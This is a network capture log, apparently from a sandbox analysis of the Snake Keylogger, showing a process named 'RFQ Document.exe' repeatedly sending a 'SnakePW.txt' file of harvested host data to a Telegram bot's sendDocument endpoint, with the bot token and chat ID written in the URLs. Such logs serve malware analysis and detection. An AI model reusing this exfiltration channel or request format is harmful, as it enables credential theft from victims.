2021-09-28 05:59:48 UTC	473	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 30 65 33 30 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f60e30cfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:48 UTC	474	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:48 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:48 UTC	474	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12887,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808788,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.4	50135	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:48 UTC	474	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f6260960 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:48 UTC	475	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 32 36 30 39 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f6260960Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:48 UTC	475	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:48 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:48 UTC	475	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12888,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808788,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.4	50136	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:48 UTC	476	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f63ddf5a Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:48 UTC	476	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 33 64 64 66 35 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f63ddf5aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:48 UTC	477	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:48 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:48 UTC	477	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12889,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808788,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49777	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:21 UTC	4	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c23319c3 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:21 UTC	4	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 33 33 31 39 63 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c23319c3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:21 UTC	5	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:21 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:21 UTC	5	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12582,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808701,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49804	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:26 UTC	47	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c57a55a2 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:26 UTC	48	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 37 61 35 35 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c57a55a2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:26 UTC	48	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:26 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:26 UTC	48	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12610,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808706,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.4	50137	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:48 UTC	478	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f65a7c41 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:48 UTC	478	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 35 61 37 63 34 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f65a7c41Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:48 UTC	478	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:48 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:48 UTC	479	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12890,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808788,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.4	50138	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:48 UTC	479	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f6725283 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:48 UTC	480	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 37 32 35 32 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f6725283Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:49 UTC	480	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:49 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:49 UTC	480	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12891,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808789,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.4	50139	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:49 UTC	481	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f68a2bcb Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:49 UTC	481	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 38 61 32 62 63 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f68a2bcbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
